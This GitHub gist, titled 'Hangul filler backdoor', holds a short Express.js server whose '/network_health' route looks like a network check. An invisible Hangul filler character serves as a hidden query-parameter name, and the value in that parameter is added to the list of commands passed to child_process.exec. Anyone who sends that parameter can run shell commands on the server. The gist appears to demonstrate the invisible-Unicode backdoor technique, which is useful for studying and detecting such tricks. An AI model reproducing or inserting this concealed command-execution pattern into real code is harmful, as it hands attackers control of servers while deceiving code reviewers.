Created
December 10, 2021 20:11
-
-
Save bekharsky/fa4c071ce657e37f6d0f3e7f4a91799b to your computer and use it in GitHub Desktop.
Hangul filler backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const express = require('express'); | |
const util = require('util'); | |
const exec = util.promisify(require('child_process').exec); | |
const app = express(); | |
app.get('/network_health', async (req, res) => { | |
const { timeout,ㅤ} = req.query; | |
const checkCommands = [ | |
'ping -c 1 google.com', | |
'curl -s http://example.com/',ㅤ | |
]; | |
try { | |
await Promise.all(checkCommands.map(cmd => | |
cmd && exec(cmd, { timeout: +timeout || 5_000 }))); | |
res.status(200); | |
res.send('ok'); | |
} catch(e) { | |
res.status(500); | |
res.send('failed'); | |
} | |
}); | |
app.listen(8080); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment